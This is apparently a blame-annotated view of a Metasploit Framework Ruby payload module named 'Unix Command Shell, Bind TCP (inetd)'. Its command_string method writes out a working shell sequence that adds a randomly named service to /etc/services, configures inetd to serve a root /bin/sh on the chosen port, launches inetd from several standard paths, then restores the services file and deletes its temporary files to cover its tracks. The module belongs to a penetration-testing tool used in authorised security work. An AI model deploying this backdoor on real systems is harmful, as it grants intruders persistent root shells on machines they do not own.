2007-02-18 00:10:39 +00:00
|
|
|
##
|
2008-10-02 05:23:59 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2006-01-15 21:13:41 +00:00
|
|
|
require 'msf/core'
|
|
|
|
require 'msf/core/handler/bind_tcp'
|
|
|
|
require 'msf/base/sessions/command_shell'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
module Metasploit3
|
2006-01-15 21:13:41 +00:00
|
|
|
|
|
|
|
include Msf::Payload::Single
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(merge_info(info,
|
|
|
|
'Name' => 'Unix Command Shell, Bind TCP (inetd)',
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'Description' => 'Listen for a connection and spawn a command shell (persistent)',
|
|
|
|
'Author' => 'hdm',
|
2006-01-21 22:10:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2006-01-15 21:13:41 +00:00
|
|
|
'Platform' => 'unix',
|
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'Handler' => Msf::Handler::BindTcp,
|
|
|
|
'Session' => Msf::Sessions::CommandShell,
|
|
|
|
'PayloadType' => 'cmd',
|
2006-08-02 06:30:36 +00:00
|
|
|
'Privileged' => true,
|
2009-07-21 15:20:35 +00:00
|
|
|
'RequiredCmd' => 'inetd',
|
2006-01-15 21:13:41 +00:00
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Offsets' => { },
|
|
|
|
'Payload' => ''
|
|
|
|
}
|
|
|
|
))
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Constructs the payload
|
|
|
|
#
|
|
|
|
def generate
|
|
|
|
return super + command_string
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Returns the command string to use for execution
|
|
|
|
#
|
|
|
|
def command_string
|
2006-01-19 17:03:55 +00:00
|
|
|
tmp_services = "/tmp/." + Rex::Text.rand_text_alpha(32)
|
|
|
|
tmp_inet = "/tmp/." + Rex::Text.rand_text_alpha(32)
|
|
|
|
svc = Rex::Text.rand_text_alpha_lower(9)
|
|
|
|
|
2006-01-15 21:13:41 +00:00
|
|
|
cmd =
|
|
|
|
# Create a clean copy of the services file
|
2006-01-19 17:03:55 +00:00
|
|
|
"cp /etc/services #{tmp_services};" +
|
2006-01-15 21:13:41 +00:00
|
|
|
|
2006-01-19 17:03:55 +00:00
|
|
|
# Add our service to the system one
|
|
|
|
"echo #{svc} #{datastore['LPORT']}/tcp>>/etc/services;" +
|
2006-01-15 21:13:41 +00:00
|
|
|
|
|
|
|
# Create our inetd configuration file with our service
|
2006-01-19 17:03:55 +00:00
|
|
|
"echo #{svc} stream tcp nowait root /bin/sh sh>#{tmp_inet};" +
|
2006-01-15 21:13:41 +00:00
|
|
|
|
|
|
|
# First we try executing inetd without the full path
|
2006-01-19 17:03:55 +00:00
|
|
|
"inetd -s #{tmp_inet} ||" +
|
2006-01-15 21:13:41 +00:00
|
|
|
|
|
|
|
# Next try the standard inetd path on Linux, Solaris, BSD
|
2006-01-19 17:03:55 +00:00
|
|
|
"/usr/sbin/inetd -s #{tmp_inet} ||" +
|
2006-01-15 21:13:41 +00:00
|
|
|
|
|
|
|
# Next try the Irix inetd path
|
2006-01-19 17:03:55 +00:00
|
|
|
"/usr/etc/inetd -s #{tmp_inet};" +
|
|
|
|
|
2006-01-27 05:00:35 +00:00
|
|
|
# Overwrite services with the "clean" version
|
2006-01-19 17:03:55 +00:00
|
|
|
"cp #{tmp_services} /etc/services;" +
|
2006-01-15 21:13:41 +00:00
|
|
|
|
|
|
|
# Delete our configuration file
|
2006-01-19 17:03:55 +00:00
|
|
|
"rm #{tmp_inet} #{tmp_services};";
|
2006-01-15 21:13:41 +00:00
|
|
|
|
|
|
|
return cmd
|
|
|
|
end
|
|
|
|
|
2009-07-21 15:20:35 +00:00
|
|
|
end
|